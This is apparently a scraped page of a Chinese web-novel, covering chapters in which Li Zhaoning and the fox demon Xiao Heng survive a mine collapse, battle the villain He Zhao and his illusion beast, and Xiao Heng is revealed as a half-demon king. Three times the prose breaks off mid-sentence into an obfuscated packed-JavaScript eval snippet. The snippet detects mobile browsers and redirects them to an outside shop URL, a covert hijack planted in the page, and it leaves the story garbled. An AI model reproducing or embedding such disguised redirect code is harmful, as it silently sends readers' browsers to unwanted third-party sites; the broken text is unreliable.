李昭宁是真忍不住,使劲抿着双唇,把脑袋别到一边去,最后干脆拿起饭碗挡住嘴。 萧蘅瞧她一抖一抖的肩膀,这才反应过来不对。 “李昭宁!你笑什么?”他扔下筷子,双手撑桌盯她。 李昭宁笑得更起劲了。 正此时,窗户忽然吹进一阵冷风,几只小妖用爪子扒拉着窗户,浮雀率先飞进来,金刚横在窗台,爪子一蹬翻了上来,四脚朝天。阿蛟跳进来,正好落在金刚圆鼓鼓的肚子上,玄武也正巧跳进来,三小只顿时滚做一团,哎呦哎呦声传满小木屋。芝兰则在后面探着脑袋一脸赔罪的笑。 阿蛟没稳住身形就一蹦一跳的举手:“我知道我知道!这是老大特意学……” “唔……” 阿蛟话没说完,却见嘴巴忽地被什么东西粘住,张不开,一蹦一跳着摔在地上。其他小妖见状就笑,一个劲的表演默剧,先是玄武表演炒菜,又是浮雀闷着脸拿翅膀当刀表演切菜…… 李昭宁心知肚明,转头一瞧,萧蘅眉头紧压眼睛,薄唇抿成一条缝。 察觉到她的目光,萧蘅深呼一口气,干脆闭上眼睛,眼不见心不烦。 她清清嗓:“啊,这菜好好吃,原来是浮雀和玄武做的呀。” 萧蘅听到前面一句时脸色微微缓和,听到后面那句又拉下脸,作势扭头就走。 “哎哎哎!咋还气上了?” “嘴硬小狐狸,你直接说你为了我亲自做的不就好啦。”李昭宁托着腮,笑着看他。 “谁说是给你做的,”萧蘅垂袖,慢慢挪回饭桌前,眼神飘忽,试探开口,“真的好吃?” “当然!”她当即往嘴里送了一大口菜。 只听“噗”的一声,阿蛟的嘴巴恢复,能开口说话了。 芝兰一手抱起阿蛟,另一手扶着窗棂,低声唤着小妖不要打扰。 又是一阵风过,屋内恢复安静。饭桌这边还残留着一点窗外的凉风,但李昭宁一点也感觉不到冷。 她拍拍身边的板凳,示意萧蘅坐,一边吃一边说:“今天把新矿头定下来了,是个老矿工,干了三十年了,大家都服他。明天就可以恢复生产,这批煤应该能按期运回去。” “李昭宁。” 萧蘅忽然开口。 “嗯?” 他轻叹:“你能不能……别什么事都自己扛?” 李昭宁筷子顿了顿。 萧蘅走到她面前,没落座,静静看着她,目光有些复杂:“你累成这样,那些矿工能看见吗?那些百姓能看见吗?他们只会觉得州牧大人能干,什么事都能搞定,不需要他们操心。” “我知道。”她很淡定,说,“可是不扛怎么办?等朝廷派人来?那要等到什么时候?” “你就不怕有一天,扛不动了?” 李昭宁沉默了一会儿,然后仰起头回他一个开朗、不怕风吹雨打的笑容。 “怕啊。但怕也没用。” 萧蘅没说话,忽看着她嘴角还沾着的一粒米饭,同时心里忽然有什么东西,涨得发疼,回过身时,手已举在半空中。 他移开目光,飞快地碰了一下她的嘴边,然后化作一团白风从门缝中溜出去,李昭宁还没有反应,只听见一句轻飘飘的:“我帮你。” * 变故发生在后半夜。 李昭宁被一阵喧哗惊醒。她翻身下床,推开门望去,矿场方向火光冲天,人声嘈杂。 “走水了!矿洞走水了!” 她来不及多想,抓起外衣就往外跑。跑到矿场,才发现火势被控制了,只在一片范围内燃烧,她觉得这火有些蹊跷,这里树木多,怎会只在一片区域内燃烧? “大人!有人被困在洞里了!” 李昭宁心一沉,来不及多想。 “几个?” “三个!换班的矿工,还没来得及撤出来!” 她二话不说,抓起旁边一桶水往身上一浇,就往洞里冲。 “大人……”身后有人喊,她没回头。 洞里的烟很浓,呛得人睁不开眼。她摸着洞壁往里走,一边走一边喊:“有人吗?” “这里……” 她循着声音摸过去,看见三个人缩在一处角落,被烟熏得睁不开眼,腿上还有伤,地上淋了一大片血迹。 “跟我走!”她护着他们往外撤。 快到洞口的时候,头顶忽然传来一声闷响。 李昭宁抬头,看见那些支架正簌簌地往下掉土。 “快跑!” 她把最后一个人推出洞口。 然后轰然一声,世界仿佛塌了。她被什么巨大的东西撞飞出去,眼前一黑,耳朵里只剩哗啦啦的声响。 等到声音和震动都停了,她慢慢睁开眼。 月光从洞口透进来,照出满目飘浮的粉尘,像冬天的雪,又像烧过的纸灰。洞口就在十几步外,那么近,她想动,却发现左腿被一根木梁压住了。 疼。 很疼。 她试着推那根木梁,它纹丝不动。 洞口忽然暗了一下。 一个人影逆着光走进来,看不清脸,只看见一个轮廓。 “萧蘅?” 那人没说话。 他走近了,光照在他脸上,是萧蘅的脸。但那双眼睛不对,那双眼睛里没有她熟悉的东西是空的,像一口枯井。 他走到她面前,蹲下来,然后他伸出手,没有去推那根木梁,而是狠狠掐住了她的脖子。 李昭宁瞳孔骤缩。 她想喊,喊不出来。那只手在收紧,一点一点。她抬起手拼命敲打、撕拽,可却毫无用处,窒息感一波接一波涌上来,她眼前开始发黑,矿洞缝隙溜进来的月光变成一小点,越来越小,越来越远。 她的双手慢慢下垂 原来人在将死的时候,是来不及想任何事的。脑子里空空的,只有一些碎片飘过去,走马灯一般。 就在意识即将涣散的那一刻,那只手忽然松开了。 然后消失了。 只剩下一团紫色的雾,在她眼前慢慢散去。那气息……好熟悉。在哪里闻过?她想不起来了。 李昭宁剧烈地咳嗽起来,咳得眼泪糊了满脸,咳得胸口像要裂开。 她抬头,萧蘅突然又出现在她面前。 他和刚才不一样了,浑身湿透,发丝贴在额前,眼睛里有惊惧、有庆幸、有她读不懂的暗潮。他看着她,像是看着什么失而复得的东西,又像是看着一场还没醒的噩梦。 “李昭宁。”他的声音在发抖,然后他俯身,吻住了她。 不是温柔的那种。 是用力地、颤抖地、像是要把她揉进身体里的那种吻。像是怕她消失,怕她变成那团雾,怕她再也不会睁开眼看他。 李昭宁脑子里一片空白。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222653|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那个吻很长,长得像过完了一生。 又很短,短得像什么都没发生。 等她反应过来,她已经能呼吸了。她忽然想起上一次,她不慎落河,他也是这样亲她。 他在渡气? 不。不对。 她猛地推开他。 “啪。” 一记清脆的耳光。 萧蘅被打得偏过头去。 他愣了一下,不顾她的推拒,把她抱进怀里。两人都湿透了,衣服贴着衣服,能感受到彼此炽热的肌肤,还有澎拜的心跳,那么快,那么乱。 “刚才那个不是我。”他的声音从头顶传来,却还是抱着她没松手,“是幻兽。” 幻兽?这里也有幻兽? 李昭宁愣住了。 萧蘅看着她,目光很复杂。那里面有后怕,有愤怒,还有一丝她看不懂的东西,太深了,像潭水,看不到底。 她慢慢冷静下来。腿上的疼痛再次变得清晰。她低头看了一眼,木梁还压着,血正在慢慢渗出来,把裤腿染成深色。 萧蘅也看见了。 他什么也没说,唤出雪绸白玉扇,倒悬一转,白风裹挟着他们,一眨眼,她已经回到了小木屋。 她大口呼吸着新鲜空气,正要开口问其他人,萧蘅把她抱起来。 他将她抱上床,单膝跪下,查看她的伤势。眉头皱着,嘀咕了一句:“你是人类,不能强行给你注妖力恢复。” “忍着。”他不知道从哪里变出伤药和绷带,开始给她包扎。动作很轻,和他那张面无表情的脸不太相称。 “其他人安全吗?” “安全。浮雀它们早救走了。” “那就好。” 他上药的手很稳,但疼得她龇牙咧嘴。 “就知道自己一个人横冲直撞。”他说这话的时候没抬头,像是在置气,又像是在说给自己听。 她手不断拍着胸脯,让自己从一这场危机中缓过神,她低头盯着他,忽然看见他嘴角边的咬痕。 “你刚才……为什么要亲我?” 萧蘅手上的动作顿了一下。 这一次,他没有像以前那样岔开话题,也没有嘴硬说“路过”。 “系统触发的。”他说。他简短几句话把虐恋偿还机制一系列事由告诉她。 李昭宁愣了一下。她忽然明白为什么自己身上的系统这么久没动静了,原来跑到他身上去了。怪不得他总是拿她没办法。 “所以是系统让你亲的?” “不然呢?” 李昭宁哦哦几声。 月光从窗缝里漏进来,落在两人之间。他的侧脸被照得发白,睫毛在眼睑下投出一小片阴影。 “那你……”她顿了顿,声音轻得像怕惊动什么,“你自己想亲吗?” 萧蘅又顿了一下。 这一次,顿得有点久。 久到月光移了半寸,久到窗外的风声变得清晰。 然后他继续上药,这次力道更轻了一些,没有抬头。 “李昭宁。” “嗯?” “你受伤了。脑子不清楚。等好了再问。” 李昭宁:…… 她忽然有些想笑。她伤的是腿,又不是脑子。 【叮!系统提示:现在进行虐恋偿还现在反馈数值,4000恋值抵消虐值,目前剩下456恋值,请继续积攒~】 萧蘅说谎了,又没说谎。 系统是让他亲过李昭宁,但不是这次。 心中涌现的那种感觉到底是什么,他说不清楚。亲她的那一刻,他也怀疑过是系统在作祟,但这次是他自己找到的她,不是系统。 他忽然觉得,有些问题,不问也好。 问了,万一自己想多咯,或是答案是另一种,他不知道该怎么接。 不问,就还可以假装什么都没发生。 还可以继续这样,他在她身边,假装只是路过。 * 远处山坡上,一道幽暗的身影静静看着这一切。 何照嘴角勾起一抹笑。他低头看着手中的那团紫雾,那雾像是有生命的东西,在他掌心缓缓蠕动,时而凝聚,时而散开,发出低吼。 “找到了。” 23. 机制转移 浮玉山一行终于结束。 玄武和金刚拉着文老制作的煤矿箱,浮雀化成青鸟,在云端盘旋探路,芝兰则坐在它背上望景,阿蛟用气泡裹着大量煤矿,先一步遁入地下河,河水裹着气泡飞速远去。 可惜萧蘅的闪移带不了这么多东西。 李昭宁好奇:“萧蘅,你的妖力领域都有什么呀?” 萧蘅瞥她一眼,语气淡淡的:“各个方面都通一点,但不很精。” “那就是全能喽?”李昭宁笑起来,“谦虚什么呀。” 萧蘅没接话,只是微微偏过头,耳尖却悄悄染上一抹红。 回蓟州城的路还很远。 变故,发生在半路。 小妖们打打闹闹,正要穿过一处山隘。 天色忽然暗了下来。 不是日头落山那种暗,是从四面八方涌来的、带着腥气的暗。山风骤然停歇,鸟雀噤声,连树叶都不敢晃动。 前方,几道黑影从天而降。紫雾随之弥漫,不同于一般的雾气,很厚重,像活物一般蠕动着蔓延开来,所过之处,草木以肉眼可见的速度枯萎。 萧蘅瞳孔猛然一缩:“停下!” 前方,五道身影如陨石落地,掀起万丈高的气风。 为首那人一身暗沉的玄色袍子,上面绣着诡异的紫色纹路,领口和袖口却翻出刺目的红绿交织的内衬,像是把几种不相干的颜色强行缝在一起。他拄着一根漆黑的拐杖,佝偻着背,灰白头发散落下来,遮住半边脸。 是何照。 “萧蘅,”何照抬起脸,头发缝隙里露出一只浑浊的眼睛,笑眯眯地开口,声音极其沙哑,“好久不见。” 萧蘅上前一步,将李昭宁护在身后:“何照,你什么意思?” “没什么意思。”何照拄着拐杖,慢悠悠地往前走了一步,“就是想来看看你,还有,”他的目光越过萧蘅,落在李昭宁身上,嘴角的笑意加深,“你身边这些人。” “与你无关。让开” “不让呢?” 何照身后那几道黑影同时踏前一步。 那是五只万年以上的老妖。气息深沉如渊,压得人喘不过气来。但诡异的是,他们周身缭绕着若有若无的紫雾,身形时不时闪烁一下,像是介于实体与虚幻之间,那是幻兽的气息。 萧蘅一个妖,不可能打过。 他偏过头,往后看了一眼。 李昭宁的手已经按在剑柄上。她正死死盯着那几道黑影,眼神像要殊死一战。 “别动。”他的声音压得极低。 李昭宁看向他。 为什么…… “回去。”他打断她,语气不容置疑,“带她回去。” 这话是对浮雀和阿蛟说的。 浮雀急了,翅膀猛地一扇,俯冲下来:“遵命!” 萧蘅没有再回头看李昭宁。他转过身,唤出雪绸白玉扇迎敌,何照冷笑一声接招,与之不同的是,萧蘅的脊背挺得很直,像一棵孤零零立在狂风中的树。 李昭宁眼睁睁看着他的背影越来越远。 浮雀不停躲着幻兽攻击,拼命往回飞,翅膀扇得快出残影。芝兰伸手抓住李昭宁,浮雀一仰,她便上了来,却没抓着浮雀的羽毛,眼睛还在萧蘅身上。她脑子里只有一个念头:不能让他一个人。 可下一秒。 一股磅礴的妖力从身后猛然袭来,像一座雷电从天而降。 李昭宁还没来得及反应,整个人就被那股力量狠狠甩出去,然后定在原地。 动弹不得,连眼珠子都转不了。 浮雀它们也都被甩出去,然后像被点了穴一样定在原地。 芝兰从浮雀身上爬起,她完好无损,满脸惊愕地低头看向胸前。 那枚玉佩正泛着淡淡的温润光芒,像一层柔和的光罩将她护在其中。 “是奶奶和小花妖留给我的……”她喃喃道,声音发颤,“她们在保护我……” 李昭宁想说话,想喊她快跑,可嘴唇像被缝住了,发不出任何声音。 她只能眼睁睁看着。 看着萧蘅被那几道黑影围住。那些万年老妖站在他四周,像五座铁塔,把他困在中间。紫雾越来越浓,几乎要把他整个妖吞没。 看着何照笑着走向他,拐杖在地上一点一点,发出“笃、笃”的声响,像催命的鼓点。 然后,何照的声音传来。 “萧蘅,堂堂妖王,怎么落得这般田地?” 李昭宁脑子里“嗡”的一声,像有什么东西炸开了。 妖王? 萧蘅是……妖王? 她拼命想转动眼珠去看他,去看那个背影,那个她以为只是普通狐妖、只是有点傲娇有点别扭的萧蘅。 他是妖王。 从始至终,他都没告诉过她。 最开始的相遇、拌嘴……那些夜晚的守候,那些别扭的关心,那些欲言又止的眼神…… 是妖王在“屈尊”陪她玩吗? 她忽然觉得自己像个笑话。 萧蘅似乎感应到了什么,忽然回过头来。隔着紫雾,隔着那些狰狞的妖影,他的目光越过一切,落在她身上。 那一眼里有很多东西。 有愧疚?有无奈?还是……别的什么? 但她看到他嘴唇微微动了动,像是想说什么,却什么也没说出来。 然后他收回目光,继续看向何照:“何照,封王一战愿赌服输,现在这般你到底想干什么?” 何照笑了,很刺耳,笑得整张脸都皱起来。 “想干什么?”他缓缓抬起手,掌心凝聚出幽暗的光芒,那光芒像活物一样扭动着,“想让你知道,这杻阳山,本就应该是我的天下。” 光芒暴涨,像一团紫色的太阳炸开。 萧蘅身形一晃,被那股力量裹挟着向后飞去。他没有挣扎,甚至没有回头再看一眼。 他得跟何照走。 这场战斗是他们两个人的,不能伤及无辜。 他放弃挣扎。 李昭宁眼睁睁看着他越来越远,那背影在她视线里越来越小,越来越模糊,最后被山林吞没,被紫雾吞噬。 她想喊,喊不出声,想动,动不了。 只能看着。 看着他消失在山林深处。 然后,一切归于平静。 何照和那些黑影都走了。紫雾慢慢散去,阳光重新照下来。 可她觉得世界一片死寂。 那股压制的力量终于消散。 她腿一软,扑通一声跪倒在地。膝盖撞在石头上,破了皮,渗出血来,但她感觉不到疼。 芝兰跑过来扶她:“姐姐。” 就在这时,脑海里忽然响起系统机械的声音: 【叮!系统检测到绑定人生命体征异常,正在重新评估绑定状态……】 李昭宁愣住了。 系统? 不是在萧蘅身上吗? 【评估完成。原绑定人萧蘅处于不可控状态,系统权限转移中.......】 【转移完成。新绑定人:李昭宁。】 【当前恋值:0。虐恋偿还机制已同步转移。】 【检测到原绑定人身陷险境,触发强制偿还机制——】 话音未落,一股无形的力量从身体深处猛然涌出,像有一只无形的大手,狠狠推了她一把。 李昭宁不受控制地站了起来,然后身体自动往前冲。 是系统的力量。 芝兰惊讶地看着她,但似乎也知道些什么了,在她的印象中,李昭宁就是神女,无所不能。她飞快把玉佩摘下来,一把塞进李昭宁手里。 “这个给你。”芝兰的声音在发抖,但眼神很坚定,“它保护过我,也能保护你。” 李昭宁握着那枚温热的玉佩,愣住了,佩上的纹路轻轻发光,像是在回应芝兰的话。 芝兰却已经松开手,往后退了一步。 “你们一定要平安回来。” 她想说点什么,但那股力量又在推她了。她猛地转身,朝萧蘅消失的方向飞去,如同火箭一般。 浮雀第一个追上去,张开翅膀,发出一声尖锐的啼叫,响彻山林。然后是阿蛟,一头钻进大地,地面轰然裂开一条大缝,河水从裂缝中暴涨而出,汹涌向前。 玄武和金刚也想追,被芝兰一把拉住。 “你们跟我留下。”芝兰说,声音已经平静下来,“咱们去了会拖后腿。先处理煤矿,等姐姐他们回来。” “不能让姐姐这些天的努力付诸东流。” * 山林深处。 系统的力量推着她,让她的速度快得惊人,脚不沾地,几乎是在飞。风在耳边呼啸,树枝擦过脸颊,火辣辣地疼,但她顾不上,也有些无语,在心底喊着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227474|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统能不能升级一下,闪一下就到。 浮雀在她头顶跟着,忽然大叫:“前面有妖气!” 李昭宁脚步不停:“有多少?” “很多!非常多!” 话音刚落,前方,几道黑影从林中蹿出,拦住去路。 是方才那几只恶妖。 为首的是一只虎妖,体型巨大如牛,獠牙外翻,一双眼睛血红。它盯着李昭宁,嘴角淌下黏稠的涎水:“听说人类的气很好吃……” 浮雀霎时俯冲而下,像一支离弦的箭,直取虎妖面门。虎妖被啄了个正着,惨叫着捂住眼睛。阿蛟从地底猛然蹿出,一尾巴横扫过去,直接把旁边几只恶妖掀翻在地。 但这次不一样,它们不再是乱打一气。 浮雀啄完就拉高,避开恶妖的爪子;等恶妖抬头去抓它,阿蛟的尾巴又从下盘扫过来。 扫堂腿。 绊马索。 声东击西。 浮雀拉高时正好给阿蛟让出攻击空间,阿蛟横扫时浮雀立刻俯冲补刀。 这些都是在教化学院学的,诸葛兰旌教的,李昭宁教的。 恶妖们被打得措手不及,哪怕是妖气,在浮雀与阿蛟的配合下也无济于事。 “这些东西怎么这么难缠!” “敢不敢正面对抗!” 与此同时,山林更深处。 萧蘅被何照那股既有妖力又有幻力的力量压制着,半跪在地上。他的膝盖陷进泥土里,双手撑地,脊背却依然挺得笔直。 何照站在他面前,居高临下,嘴角噙着笑:“萧蘅,堂堂半妖,也敢跟我争?” 半妖。 这两个字从他嘴里说出来,比任何刀剑都更锋利。 萧蘅抬起头,紧咬牙关,他的眼神很平静,平静得像一潭死水。但那死水深处,有什么东西在翻涌。 何照显然很满意他的反应,嘴角的笑意加深。 “你以为自己藏得很好?万年老妖们睁一只眼闭一只眼,是给你面子。你真当自己是纯血?” 萧蘅看着他身后那团缓缓凝聚的紫雾。 雾气越聚越浓,越聚越大,最后凝成一个巨大的、似兽非兽的轮廓。 那东西有两只幽深的眼睛,像两汪深不见底的渊。周身缭绕着诡异的光芒,每闪一下,周围的草木就枯萎一分。 萧蘅瞳孔猛然收缩。 尧光,当年被封印的幻兽首领,何照竟然把它放出来了。 “你疯了,把它放出来,整个妖族都会遭殃。” 何照大笑,诡异的笑声在山林间回荡,惊起一片飞鸟。 “遭殃?它是我的力量!”他张开双臂,紫雾在他周身翻涌。 他抬手,紫雾凝聚成一道利刃,悬在半空,直指萧蘅咽喉。 “现在的你,在我眼里什么都不是。” “尧光,吞噬之主。”萧蘅怒斥道,“它吞噬的,不只是血肉,还有妖力、灵力。他的力量会越来越强大,难以控制,你以为他最后会放过你吗?” “你引火上身,别怪我没提醒你。” 紫雾中的那双眼睛眨了眨,像是在笑。 然后何照冷笑起来:“少在这儿危言耸听,你不过是觊觎我的力量,”他抬手指向萧蘅,紫雾利刃猛地绷直,“今天,我先杀了你。” 紫雾利刃破空,直刺萧蘅心口。 千钧一发之际,一道白光乍现,像一道惊雷劈开紫雾。 何照被那股力量震得倒飞出去,狠狠撞在一棵大树上,树干咔嚓一声断裂。 这熟悉的白光……萧蘅愣了一瞬,迫切地抬头望去。 萧蘅看着她挡在自己身前的背影,那个瘦削的却像一堵墙一样挡在他身前的背影。 他的心脏猛然开始颤动,有股难以言说的力量涌入他的心脏,涨得厉害:“……你疯了?” 李昭宁站在萧蘅身前,手握长剑,衣袍染血,发丝凌乱,脸上沾着泥和汗,但眼睛坚定如正午的曜日。 “闭嘴。” 她握紧剑柄,侧头道:“等我先砍了他,再跟你算账。” 风起四海,裹挟着不同的气息,好像回到了最初相遇时的模样。那时,是他想杀她,如今过了这么久,所有的所有,都变了。 唯一不同的是,那个傻子。 爱管闲事的傻子。 她来了。 她又来了。 24. 掉马 “一个人族女子,也敢来送死?” 何照刺耳的笑声划破夜空,那声音像金属刮过玻璃,极其令人感到不适,闻者皆起一身鸡皮疙瘩。他抬起左手,掌心正凝聚着一个巨大的能量光球,能量球也很奇特,混着妖冶的红色,绿的诡谲的绿色还有浓雾的黑。 三种颜色交织翻涌,散发着令人窒息的压迫感。他身后那团紫雾,雾中隐约可见两条空洞的长痕,像是眼睛,正阴冷地注视着一切。 李昭宁懒得废话,提剑便斩。 剑光如练,直取何照咽喉。她很清楚自己不是对手,但她必须吸引火力,给萧蘅争取喘息之机,找到他们致命的一线破绽。 何照冷哼一声,身后紫雾瞬息凝聚,化作一面半透明的盾牌。剑刃斩在上面,如中棉絮,力道尽数被卸。他骤然发力,李昭宁只觉一股排山倒海的力量涌来,整个人被震退数丈,双脚在地面犁出两道深痕。 “狂妄自大。”何照冷笑着追上,掌心的妖力化作三道异色厉芒,直取李昭宁要害。 李昭宁身形急转,在间不容发之际连连闪避。可就在她剑刃落下的瞬间,一声尖锐的嘶鸣骤然炸响。 是那团紫雾,尧光。 它剧烈扭动着,紫雾翻涌,仿佛被什么东西狠狠灼伤。 何照猛地回头,瞳孔骤缩,也被那股神秘的力量吓了一跳。那股力量,来自李昭宁。更准确地说,来自她胸口那枚玉佩。 此刻,那枚原本温润的玉,正泛着淡淡的莹白光芒,明明柔和,却让尧光如临大敌。 尧光死死盯着李昭宁,那双空洞的眼窝中,闪过贪婪、忌惮,还有一丝……深藏的恐惧。 “那股力量……”它的声音嘶哑低沉,“在她身上。” 何照眉头紧锁。什么力量,竟能让这位上古凶兽如此失态? 尧光已顾不上他。 紫雾骤然暴涨,它直接扑向李昭宁打算附身吞噬那枚玉佩的力量。 一切都发生在电光石火之间。 李昭宁来不及躲。 紫雾铺天盖地而来,将她彻底笼罩。 下一秒,一道炽烈的白光自她胸口炸开! 那光芒纯净得近乎神圣,如同破晓的第一缕阳光,撕裂了所有黑暗。 “啊!” 尧光发出一声凄厉的惨叫,被那股力量狠狠弹开,在半空中翻滚扭曲,紫雾时聚时散,浑身抽搐不止,仿佛被烈焰焚烧。 “那是什么?” 李昭宁低头看向胸口的玉佩。 它依旧泛着温润的光,像是最温柔的守护,静静地贴在她的心口。 她没有时间多想。 尧光受伤了,这是千载难逢的机会。 李昭宁提剑冲上。 失去了幻力支撑的尧光,虚弱得不堪一击。玉佩的白光萦绕在剑刃上,每一剑落下,都在紫雾中撕开一道无法愈合的伤口。它挣扎,嘶吼,却无力反抗。 何照脸色剧变,他刚要上前,却被一道身影拦住。 萧蘅缓缓抬起头,眼神锐利如钩,展臂阻挡。那股压制的力量正在消退,尧光一伤,何照便失去了最大的依仗。 他看着何照,嘴角勾起一抹冰冷的弧度,单手倒悬雪绸白玉扇,扇心处旋风骤起,越转越快,转瞬间便化作一道咆哮的风龙,席卷而去! 何照厉声尖啸,那声音竟似公鸡啼鸣,刺耳至极。紧接着,无数暗沉的红绿羽毛如剑雨般凭空浮现,裹挟着妖风,铺天盖地朝二人激射而来! “抓紧我!” 李昭宁双手紧握剑柄,只觉腰间一紧,萧蘅单手将她揽起,一个侧身将她护在身后,同时展扇为盾,硬扛那漫天羽箭。 “战斗的时候,三心二意可不行。” 何照的声音突然从侧方传来。 李昭宁猛然转头,那漫天红绿羽毛之间,何照的身影竟凭空消失。下一秒,他已出现在另一侧,鬼笑着抬掌袭来! “当心!” 萧蘅眼神一凛。 “现在,该我了。”何照阴恻恻地道,掌心的妖力已然凝聚成形。 但已经来不及了。只见萧蘅的身形一闪消失不见,而他的雪绸白玉扇还滞留在空中。正当李昭宁心悬起之时,却见萧蘅闪到何照面前,没有花哨的招式,没有绚丽的术法。 只是一拳。 结结实实的一拳。 何照瞳孔骤缩,所有的防备都集中在萧蘅的扇子上,万没想到对方会弃术法不用,直接近身出拳! “砰!” 这一拳结结实实砸在他脸上。 “万般变化,不如一拳。” 萧蘅嘴角微勾,侧眼看向李昭宁,眼中带着一丝孩子气的得意。这是偷听小妖们上课时学到的。 “出拳还要快,对吧。” 何照整个人倒飞出去,一连撞断三棵合抱粗的大树,才堪堪停下。 他挣扎着爬起来,满脸不可置信:“你怎么……” 萧蘅没有给他说话的机会。 身形再闪,欺身而上。雪绸白玉扇飞向上空,瞬间化作万千银丝,如天罗地网般将何照死死缠住。 一拳。 两拳。 三拳。 每一拳都带着这千年来积压的情绪,那些嘲讽,那些轻蔑,那些“半妖”的羞辱。它们化作最原始的力量,狠狠砸在何照脸上。 “你们人类的招式,倒是挺解气。”萧蘅低笑一声,眼底却没有半分笑意。 何照被银丝捆得结结实实,毫无还手之力。失去幻兽撑腰,他一个自己苦修成妖的小怪,如何打得过萧蘅。哪怕萧蘅是人族与妖族的混血,可他自幼服用的,也是妖族最顶级的灵果。 另一边,尧光还想伺机偷袭李昭宁。 但有那枚玉佩在,它根本近不了身。每次试图靠近,便如同扑向烈火,紫雾被灼烧得滋滋作响,痛得它嘶鸣不止。李昭宁看出端倪,索性像遛狗一样拖着它满场跑,既不让它有机会帮何照,又时刻保持距离,耗着它的力气。 何照拼命向尧光求助。 可尧光此刻自顾不暇,哪里还顾得上他?几次尝试无果后,它终于放弃了。趁李昭宁稍稍松懈的瞬间,化作一团紫雾,狼狈遁走,消失在夜色深处。 李昭宁没有追。 她收剑回鞘,转头看向萧蘅,他还在打,一拳接一拳。 “这么狠?” 何照终于彻底失去意识,身体一软,随即化作一团紫雾,被一股无形的力量裹挟着消失了。是尧光,临走前还是带上了他。 萧蘅站在一片狼藉之中,浑身是血,有自己的,有何照的。 天色暗沉如墨,周围的树木断了好几棵,断裂的树桩露出模糊不清的年轮,落叶铺了一地,被风吹得沙沙作响。 他转过身,看向李昭宁。 两人隔着十几步的距离,谁也没说话。 夜风吹过山林,卷起血腥与草木的气息,在沉默中流淌。 许久,李昭宁先开口:“你是妖王。” 萧蘅没有说话。 “从头到尾,你都没告诉我。” 萧蘅垂下眼,带血的嘴角扯了扯:“……说了又怎样?” 夜风吹起他散落的长发,拂过沾染血污的脸颊。他抬起眼,看着她,那目光里有疲惫,有戒备,还有一丝说不清的情绪。 “说了,你还会像现在这样,对我笑吗?” 李昭宁喉咙一紧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230939|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 什么意思? 她本就是来找妖王商讨和平之事,怎会因为他身份而不笑?她气的,是他骗她。 “我气的是你骗我。” 萧蘅移开目光,望向远处漆黑的夜色。 “半妖。”他的声音很淡,淡得像是在说别人的事,“母亲是人,父亲是妖。两边都不待见。能当上妖王,不是因为我多强,而是因为那些纯血的,谁也不服谁,只好选我。” 他顿了顿,转回视线,直视着她。 “你知道了,会觉得可怜吗?还是恶心?” 李昭宁站在原地,看着他,看着他满身狼狈,看着他眼底那一丝藏得很深的……不安。 她忽然动了,萧蘅下意识后退一步。 但她没有因此停住步伐。 她走到他面前,仰头看着他,他比她高太多,她得仰起脸才能看清他的眼睛。 然后她抬手,一拳捶在他胸口。 “砰。” 萧蘅闷哼一声,却没躲。 “这一拳,”李昭宁说,“是罚你不告诉我。” 萧蘅愣住了。 “还有。” 她又捶了一拳。 “砰。” “这一拳,是罚你觉得我会嫌弃你。” 萧蘅张了张嘴,却发不出声音。 她的眼睛很亮,即便在暗色中也亮得惊人。高高束起的马尾在打斗中松散了些,几缕碎发沾着汗贴在脸颊上,脸上也沾了灰尘和血迹,但她浑然不觉。 风吹过,远处黑云翻涌,仿佛全世界都在推着他走向不想去的地方。 可此刻,只有她站在他面前。 “半妖怎么了?”她扬着下巴看他,“我只知道你这只傲娇嘴硬的小狐狸帮了我不少忙,帮了蓟州百姓不少忙。咱俩谁也别嫌弃谁。” 萧蘅:…… 他忽然笑了。 先是嘴角,然后是眼底,最后整个人都笑起来。笑着笑着,又有点想骂人。 这个傻子。 李昭宁也笑了。黑云不知何时散开一些,露出天边几颗疏星。 萧蘅看着她毫无防备的笑容,心中竟生出一个荒唐的念头,这世界要是只有他们两个人,该多好。 “走了,回去。浮雀它们还在等着。” 她转身往前走,顺手举起那枚玉佩,对着微弱的星光端详。 “尧光似乎很怕这个。”她边走边说,“这是芝兰奶奶留给芝兰的,芝兰奶奶还救了被幻兽力量侵蚀的小花妖。你说,这之间会不会有什么联系?” 萧蘅跟上去,走在她身侧。 “很有可能。但妖族典籍里没有制裁尧光的记载,先前的封印也只是长老们暂时压制。” “怎么可能?”李昭宁打断他,把玩着手中的玉佩,“世间万物相生相克,肯定有天敌。”她抛起玉佩,又稳稳接在手心,回头冲他一笑,“这就是了。” “你倒是乐观。” “萧蘅。” “干什么?” “我觉得有必要强调一遍,你是半妖不是你的错,你很厉害。”她顿了顿,想了想又补了一句,“比那些纯血的都厉害。” “你在我心里,是最厉害的妖。” 